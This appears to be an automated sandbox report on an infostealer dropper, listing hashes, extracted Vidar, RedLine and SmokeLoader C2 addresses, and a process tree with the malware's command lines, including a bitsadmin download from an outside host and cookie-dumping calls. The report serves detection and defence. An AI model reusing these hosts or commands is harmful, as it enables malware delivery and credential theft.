Overview
overview
10Static
static
setup_x86_...0).exe
windows7_x64
setup_x86_...0).exe
windows10_x64
setup_x86_...1).exe
windows7_x64
setup_x86_...1).exe
windows10_x64
setup_x86_...2).exe
windows7_x64
setup_x86_...2).exe
windows10_x64
setup_x86_...3).exe
windows7_x64
setup_x86_...3).exe
windows10_x64
10setup_x86_...4).exe
windows7_x64
setup_x86_...4).exe
windows10_x64
10setup_x86_...5).exe
windows7_x64
setup_x86_...5).exe
windows10_x64
10setup_x86_...6).exe
windows7_x64
setup_x86_...6).exe
windows10_x64
10setup_x86_...7).exe
windows7_x64
10setup_x86_...7).exe
windows10_x64
setup_x86_...8).exe
windows7_x64
8setup_x86_...8).exe
windows10_x64
10setup_x86_...9).exe
windows7_x64
setup_x86_...9).exe
windows10_x64
10setup_x86_...2).exe
windows7_x64
setup_x86_...2).exe
windows10_x64
10setup_x86_...0).exe
windows7_x64
setup_x86_...0).exe
windows10_x64
setup_x86_...1).exe
windows7_x64
setup_x86_...1).exe
windows10_x64
10setup_x86_...2).exe
windows7_x64
10setup_x86_...2).exe
windows10_x64
10setup_x86_...3).exe
windows7_x64
setup_x86_...3).exe
windows10_x64
setup_x86_...3).exe
windows7_x64
setup_x86_...3).exe
windows10_x64
10Resubmissions
11-07-2024 05:43
240711-gej4lstgrf 1006-09-2021 14:13
210906-rjpvrsedbm 1008-07-2021 11:08
210708-4gztl3mwl6 1008-07-2021 08:02
210708-klfb4qeda6 1007-07-2021 09:39
210707-nem57xyvf2 1006-07-2021 17:51
210706-7pcrmjy3fa 1006-07-2021 13:45
210706-eybelwcq86 10Analysis
-
max time kernel
22s -
max time network
547s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
08-07-2021 08:02
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install - копия (10).exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
setup_x86_x64_install - копия (10).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
setup_x86_x64_install - копия (11).exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install - копия (11).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
setup_x86_x64_install - копия (12).exe
Resource
win7v20210408
Behavioral task
behavioral6
Sample
setup_x86_x64_install - копия (12).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
setup_x86_x64_install - копия (13).exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
setup_x86_x64_install - копия (13).exe
Resource
win10v20210408
Behavioral task
behavioral9
Sample
setup_x86_x64_install - копия (14).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
setup_x86_x64_install - копия (14).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
setup_x86_x64_install - копия (15).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
setup_x86_x64_install - копия (15).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
setup_x86_x64_install - копия (16).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
setup_x86_x64_install - копия (16).exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
setup_x86_x64_install - копия (17).exe
Resource
win7v20210408
Behavioral task
behavioral16
Sample
setup_x86_x64_install - копия (17).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
setup_x86_x64_install - копия (18).exe
Resource
win7v20210408
Behavioral task
behavioral18
Sample
setup_x86_x64_install - копия (18).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
setup_x86_x64_install - копия (19).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
setup_x86_x64_install - копия (19).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
setup_x86_x64_install - копия (2).exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
setup_x86_x64_install - копия (2).exe
Resource
win10v20210408
Behavioral task
behavioral23
Sample
setup_x86_x64_install - копия (20).exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
setup_x86_x64_install - копия (20).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
setup_x86_x64_install - копия (21).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
setup_x86_x64_install - копия (21).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
setup_x86_x64_install - копия (22).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
setup_x86_x64_install - копия (22).exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
setup_x86_x64_install - копия (23).exe
Resource
win7v20210408
Behavioral task
behavioral30
Sample
setup_x86_x64_install - копия (23).exe
Resource
win10v20210410
Errors
General
-
Target
setup_x86_x64_install - копия (3).exe
-
Size
3.2MB
-
MD5
3ae1c212119919e5fce71247286f8e0e
-
SHA1
97c1890ab73c539056f95eafede319df774e9d38
-
SHA256
30c2f230e5401b4b1ea8fb425dadf4e453575884303b9fa2066e6a91859f016e
-
SHA512
5bb28a775c10b8b68b8c448d64287ca732d0af5577ecc4348a89934358440bb4ff6958115f14ecbabb0446d234d6f621afa3419daa4aec6c03c0af9b6a3b1558
Malware Config
Extracted
vidar
39.4
706
https://sergeevih43.tumblr.com
-
profile_id
706
Extracted
redline
ServAni
87.251.71.195:82
Extracted
smokeloader
2020
http://ppcspb.com/upload/
http://mebbing.com/upload/
http://twcamel.com/upload/
http://howdycash.com/upload/
http://lahuertasonora.com/upload/
http://kpotiques.com/upload/
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
Extracted
redline
07_07_r
xtarweanda.xyz:80
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
resource yara_rule behavioral31/memory/1248-172-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral31/memory/1248-173-0x0000000000417F26-mapping.dmp family_redline behavioral31/memory/1248-175-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral31/memory/2992-247-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral31/memory/2992-248-0x0000000000417E9E-mapping.dmp family_redline behavioral31/memory/2912-268-0x0000000000417E82-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral31/memory/112-168-0x00000000023C0000-0x000000000245D000-memory.dmp family_vidar behavioral31/memory/112-171-0x0000000000400000-0x0000000000949000-memory.dmp family_vidar -
resource yara_rule behavioral31/files/0x0003000000013133-68.dat aspack_v212_v242 behavioral31/files/0x0003000000013133-69.dat aspack_v212_v242 behavioral31/files/0x0003000000013133-70.dat aspack_v212_v242 behavioral31/files/0x0003000000013133-72.dat aspack_v212_v242 behavioral31/files/0x000300000001312f-73.dat aspack_v212_v242 behavioral31/files/0x000300000001312f-74.dat aspack_v212_v242 behavioral31/files/0x000300000001312e-75.dat aspack_v212_v242 behavioral31/files/0x000300000001312e-76.dat aspack_v212_v242 behavioral31/files/0x0003000000013131-81.dat aspack_v212_v242 behavioral31/files/0x0003000000013131-82.dat aspack_v212_v242 behavioral31/files/0x0003000000013133-85.dat aspack_v212_v242 behavioral31/files/0x0003000000013133-87.dat aspack_v212_v242 behavioral31/files/0x0003000000013133-86.dat aspack_v212_v242 behavioral31/files/0x0003000000013133-84.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 10 IoCs
pid Process 1620 setup_installer.exe 1748 setup_install.exe 1584 arnatic_3.exe 112 arnatic_1.exe 1792 arnatic_2.exe 1560 arnatic_7.exe 1952 arnatic_4.exe 1652 arnatic_6.exe 1048 jfiag3g_gg.exe 1248 arnatic_7.exe -
resource yara_rule behavioral31/files/0x0003000000013134-161.dat upx behavioral31/files/0x0003000000013134-163.dat upx behavioral31/files/0x0003000000013134-160.dat upx behavioral31/files/0x0003000000013134-167.dat upx behavioral31/files/0x0003000000013134-166.dat upx behavioral31/files/0x0003000000013134-165.dat upx -
Loads dropped DLL 41 IoCs
pid Process 628 setup_x86_x64_install - копия (3).exe 1620 setup_installer.exe 1620 setup_installer.exe 1620 setup_installer.exe 1620 setup_installer.exe 1620 setup_installer.exe 1620 setup_installer.exe 1748 setup_install.exe 1748 setup_install.exe 1748 setup_install.exe 1748 setup_install.exe 1748 setup_install.exe 1748 setup_install.exe 1748 setup_install.exe 1748 setup_install.exe 832 cmd.exe 1052 cmd.exe 1052 cmd.exe 1956 cmd.exe 1956 cmd.exe 1356 cmd.exe 1356 cmd.exe 1316 cmd.exe 112 arnatic_1.exe 112 arnatic_1.exe 912 cmd.exe 1792 arnatic_2.exe 1792 arnatic_2.exe 1560 arnatic_7.exe 1560 arnatic_7.exe 1952 arnatic_4.exe 1952 arnatic_4.exe 1652 arnatic_6.exe 1652 arnatic_6.exe 1952 arnatic_4.exe 1952 arnatic_4.exe 1048 jfiag3g_gg.exe 1048 jfiag3g_gg.exe 1560 arnatic_7.exe 1248 arnatic_7.exe 1248 arnatic_7.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 2416 icacls.exe -
resource yara_rule behavioral31/memory/1620-214-0x0000000000BE0000-0x0000000000BE1000-memory.dmp themida -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 224 api.2ip.ua 7 ip-api.com 16 ipinfo.io 19 ipinfo.io 221 api.2ip.ua -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1560 set thread context of 1248 1560 arnatic_7.exe 46 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
pid pid_target Process procid_target 2540 112 WerFault.exe 44 2712 1080 WerFault.exe 85 -
Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 2312 bitsadmin.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2688 PING.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 628 wrote to memory of 1620 628 setup_x86_x64_install - копия (3).exe 29 PID 628 wrote to memory of 1620 628 setup_x86_x64_install - копия (3).exe 29 PID 628 wrote to memory of 1620 628 setup_x86_x64_install - копия (3).exe 29 PID 628 wrote to memory of 1620 628 setup_x86_x64_install - копия (3).exe 29 PID 628 wrote to memory of 1620 628 setup_x86_x64_install - копия (3).exe 29 PID 628 wrote to memory of 1620 628 setup_x86_x64_install - копия (3).exe 29 PID 628 wrote to memory of 1620 628 setup_x86_x64_install - копия (3).exe 29 PID 1620 wrote to memory of 1748 1620 setup_installer.exe 30 PID 1620 wrote to memory of 1748 1620 setup_installer.exe 30 PID 1620 wrote to memory of 1748 1620 setup_installer.exe 30 PID 1620 wrote to memory of 1748 1620 setup_installer.exe 30 PID 1620 wrote to memory of 1748 1620 setup_installer.exe 30 PID 1620 wrote to memory of 1748 1620 setup_installer.exe 30 PID 1620 wrote to memory of 1748 1620 setup_installer.exe 30 PID 1748 wrote to memory of 1052 1748 setup_install.exe 32 PID 1748 wrote to memory of 1052 1748 setup_install.exe 32 PID 1748 wrote to memory of 1052 1748 setup_install.exe 32 PID 1748 wrote to memory of 1052 1748 setup_install.exe 32 PID 1748 wrote to memory of 1052 1748 setup_install.exe 32 PID 1748 wrote to memory of 1052 1748 setup_install.exe 32 PID 1748 wrote to memory of 1052 1748 setup_install.exe 32 PID 1748 wrote to memory of 1956 1748 setup_install.exe 33 PID 1748 wrote to memory of 1956 1748 setup_install.exe 33 PID 1748 wrote to memory of 1956 1748 setup_install.exe 33 PID 1748 wrote to memory of 1956 1748 setup_install.exe 33 PID 1748 wrote to memory of 1956 1748 setup_install.exe 33 PID 1748 wrote to memory of 1956 1748 setup_install.exe 33 PID 1748 wrote to memory of 1956 1748 setup_install.exe 33 PID 1748 wrote to memory of 832 1748 setup_install.exe 34 PID 1748 wrote to memory of 832 1748 setup_install.exe 34 PID 1748 wrote to memory of 832 1748 setup_install.exe 34 PID 1748 wrote to memory of 832 1748 setup_install.exe 34 PID 1748 wrote to memory of 832 1748 setup_install.exe 34 PID 1748 wrote to memory of 832 1748 setup_install.exe 34 PID 1748 wrote to memory of 832 1748 setup_install.exe 34 PID 1748 wrote to memory of 1316 1748 setup_install.exe 35 PID 1748 wrote to memory of 1316 1748 setup_install.exe 35 PID 1748 wrote to memory of 1316 1748 setup_install.exe 35 PID 1748 wrote to memory of 1316 1748 setup_install.exe 35 PID 1748 wrote to memory of 1316 1748 setup_install.exe 35 PID 1748 wrote to memory of 1316 1748 setup_install.exe 35 PID 1748 wrote to memory of 1316 1748 setup_install.exe 35 PID 1748 wrote to memory of 1192 1748 setup_install.exe 38 PID 1748 wrote to memory of 1192 1748 setup_install.exe 38 PID 1748 wrote to memory of 1192 1748 setup_install.exe 38 PID 1748 wrote to memory of 1192 1748 setup_install.exe 38 PID 1748 wrote to memory of 1192 1748 setup_install.exe 38 PID 1748 wrote to memory of 1192 1748 setup_install.exe 38 PID 1748 wrote to memory of 1192 1748 setup_install.exe 38 PID 1748 wrote to memory of 912 1748 setup_install.exe 36 PID 1748 wrote to memory of 912 1748 setup_install.exe 36 PID 1748 wrote to memory of 912 1748 setup_install.exe 36 PID 1748 wrote to memory of 912 1748 setup_install.exe 36 PID 1748 wrote to memory of 912 1748 setup_install.exe 36 PID 1748 wrote to memory of 912 1748 setup_install.exe 36 PID 1748 wrote to memory of 912 1748 setup_install.exe 36 PID 1748 wrote to memory of 1356 1748 setup_install.exe 37 PID 1748 wrote to memory of 1356 1748 setup_install.exe 37 PID 1748 wrote to memory of 1356 1748 setup_install.exe 37 PID 1748 wrote to memory of 1356 1748 setup_install.exe 37 PID 1748 wrote to memory of 1356 1748 setup_install.exe 37 PID 1748 wrote to memory of 1356 1748 setup_install.exe 37 PID 1748 wrote to memory of 1356 1748 setup_install.exe 37 PID 832 wrote to memory of 1584 832 cmd.exe 39
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (3).exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (3).exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Users\Admin\AppData\Local\Temp\7zS456EC375\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS456EC375\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1748 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_1.exe4⤵
- Loads dropped DLL
PID:1052 -
C:\Users\Admin\AppData\Local\Temp\7zS456EC375\arnatic_1.exearnatic_1.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:112 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 112 -s 9646⤵
- Program crash
PID:2540
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_2.exe4⤵
- Loads dropped DLL
PID:1956 -
C:\Users\Admin\AppData\Local\Temp\7zS456EC375\arnatic_2.exearnatic_2.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1792
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_3.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Users\Admin\AppData\Local\Temp\7zS456EC375\arnatic_3.exearnatic_3.exe5⤵
- Executes dropped EXE
PID:1584
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_4.exe4⤵
- Loads dropped DLL
PID:1316 -
C:\Users\Admin\AppData\Local\Temp\7zS456EC375\arnatic_4.exearnatic_4.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1952 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1048
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:580
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_6.exe4⤵
- Loads dropped DLL
PID:912 -
C:\Users\Admin\AppData\Local\Temp\7zS456EC375\arnatic_6.exearnatic_6.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1652 -
C:\Users\Admin\Documents\L760SeEHHsg0RAkWwdmUWZCf.exe"C:\Users\Admin\Documents\L760SeEHHsg0RAkWwdmUWZCf.exe"6⤵PID:916
-
-
C:\Users\Admin\Documents\SS_goYUUQsaVMwIyqKtftWUU.exe"C:\Users\Admin\Documents\SS_goYUUQsaVMwIyqKtftWUU.exe"6⤵PID:840
-
-
C:\Users\Admin\Documents\PnkrEOFc4kqDFqF4gFXVIN3T.exe"C:\Users\Admin\Documents\PnkrEOFc4kqDFqF4gFXVIN3T.exe"6⤵PID:1616
-
C:\Users\Admin\Documents\PnkrEOFc4kqDFqF4gFXVIN3T.exeC:\Users\Admin\Documents\PnkrEOFc4kqDFqF4gFXVIN3T.exe7⤵PID:580
-
-
-
C:\Users\Admin\Documents\wZFKNY7iqaWScl7bXrnbdBgr.exe"C:\Users\Admin\Documents\wZFKNY7iqaWScl7bXrnbdBgr.exe"6⤵PID:336
-
-
C:\Users\Admin\Documents\032RAVuGn0AEswaVCL0SJJo7.exe"C:\Users\Admin\Documents\032RAVuGn0AEswaVCL0SJJo7.exe"6⤵PID:1824
-
-
C:\Users\Admin\Documents\ITtONwSsPvNODKA26MRXUDHH.exe"C:\Users\Admin\Documents\ITtONwSsPvNODKA26MRXUDHH.exe"6⤵PID:2052
-
C:\Users\Admin\Documents\ITtONwSsPvNODKA26MRXUDHH.exe"C:\Users\Admin\Documents\ITtONwSsPvNODKA26MRXUDHH.exe"7⤵PID:2664
-
-
-
C:\Users\Admin\Documents\23U3VCIdOo3eQMbmPYmof8KI.exe"C:\Users\Admin\Documents\23U3VCIdOo3eQMbmPYmof8KI.exe"6⤵PID:2104
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso913A.tmp\tempfile.ps1"7⤵PID:2796
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso913A.tmp\tempfile.ps1"7⤵PID:2316
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso913A.tmp\tempfile.ps1"7⤵PID:2024
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso913A.tmp\tempfile.ps1"7⤵PID:1544
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso913A.tmp\tempfile.ps1"7⤵PID:2588
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso913A.tmp\tempfile.ps1"7⤵PID:1440
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso913A.tmp\tempfile.ps1"7⤵PID:1012
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
PID:2312
-
-
-
C:\Users\Admin\Documents\LljU3qdb2nfdrtYiKqSPjGm6.exe"C:\Users\Admin\Documents\LljU3qdb2nfdrtYiKqSPjGm6.exe"6⤵PID:2092
-
-
C:\Users\Admin\Documents\k1VuVztVY568a59Ay92jWvZS.exe"C:\Users\Admin\Documents\k1VuVztVY568a59Ay92jWvZS.exe"6⤵PID:532
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:2728
-
-
-
C:\Users\Admin\Documents\LZjSmbBQZQsY13mIfOFrWeSE.exe"C:\Users\Admin\Documents\LZjSmbBQZQsY13mIfOFrWeSE.exe"6⤵PID:1620
-
-
C:\Users\Admin\Documents\qbRIwxLPRd0nQGHQPafDyOtX.exe"C:\Users\Admin\Documents\qbRIwxLPRd0nQGHQPafDyOtX.exe"6⤵PID:992
-
C:\Users\Admin\Documents\qbRIwxLPRd0nQGHQPafDyOtX.exeC:\Users\Admin\Documents\qbRIwxLPRd0nQGHQPafDyOtX.exe7⤵PID:2992
-
-
-
C:\Users\Admin\Documents\eiz1Rh0Ex8jT6rcksz41KI9K.exe"C:\Users\Admin\Documents\eiz1Rh0Ex8jT6rcksz41KI9K.exe"6⤵PID:2160
-
C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"7⤵PID:2304
-
C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"8⤵PID:2912
-
-
-
C:\Program Files (x86)\Browzar\Browzar.exe"C:\Program Files (x86)\Browzar\Browzar.exe"7⤵PID:2904
-
-
-
C:\Users\Admin\Documents\7PbFaIjqY28uKJzub6Ozyfzo.exe"C:\Users\Admin\Documents\7PbFaIjqY28uKJzub6Ozyfzo.exe"6⤵PID:2148
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Poi.vsd7⤵PID:268
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:1012
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 309⤵
- Runs ping.exe
PID:2688
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comDare.exe.com D9⤵PID:1464
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D10⤵PID:2664
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D11⤵PID:972
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D12⤵PID:984
-
-
-
-
-
-
-
-
C:\Users\Admin\Documents\NmDHe0HyNIYkkqT28TjURKCj.exe"C:\Users\Admin\Documents\NmDHe0HyNIYkkqT28TjURKCj.exe"6⤵PID:2140
-
C:\Program Files (x86)\Company\NewProduct\file4.exe"C:\Program Files (x86)\Company\NewProduct\file4.exe"7⤵PID:2228
-
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"7⤵PID:2292
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵PID:316
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵PID:1496
-
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"7⤵PID:1080
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 2928⤵
- Program crash
PID:2712
-
-
-
C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"7⤵PID:2080
-
-
-
C:\Users\Admin\Documents\ePW2b_B6c48OfToYpH_TPJwy.exe"C:\Users\Admin\Documents\ePW2b_B6c48OfToYpH_TPJwy.exe"6⤵PID:2128
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_7.exe4⤵
- Loads dropped DLL
PID:1356 -
C:\Users\Admin\AppData\Local\Temp\7zS456EC375\arnatic_7.exearnatic_7.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1560 -
C:\Users\Admin\AppData\Local\Temp\7zS456EC375\arnatic_7.exeC:\Users\Admin\AppData\Local\Temp\7zS456EC375\arnatic_7.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1248
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_5.exe4⤵PID:1192
-
-
-
-
C:\Windows\SysWOW64\rUNdlL32.eXe"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",shl1⤵PID:2180
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:2656
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^nZwSZJdQSZwKBWJCtpbfZHNwzsXALugVPsbikcLGmlTQMSJGkUUtRoHQkZmHLQyLLuVpnCdInRQPNWfBIsgQkprGKGWkWrUJtiyFXmiJDkGqaSrgKXZxBgABegmS$" Che.vsd1⤵PID:3000
-
C:\Users\Admin\AppData\Local\Temp\9C3F.exeC:\Users\Admin\AppData\Local\Temp\9C3F.exe1⤵PID:780
-
C:\Users\Admin\AppData\Local\Temp\9C3F.exeC:\Users\Admin\AppData\Local\Temp\9C3F.exe2⤵PID:2880
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\556dda83-26a3-41f9-952b-a4c412f5c192" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:2416
-
-
C:\Users\Admin\AppData\Local\Temp\9C3F.exe"C:\Users\Admin\AppData\Local\Temp\9C3F.exe" --Admin IsNotAutoStart IsNotTask3⤵PID:2624
-
-
-
C:\Users\Admin\AppData\Local\Temp\BA7A.exeC:\Users\Admin\AppData\Local\Temp\BA7A.exe1⤵PID:1128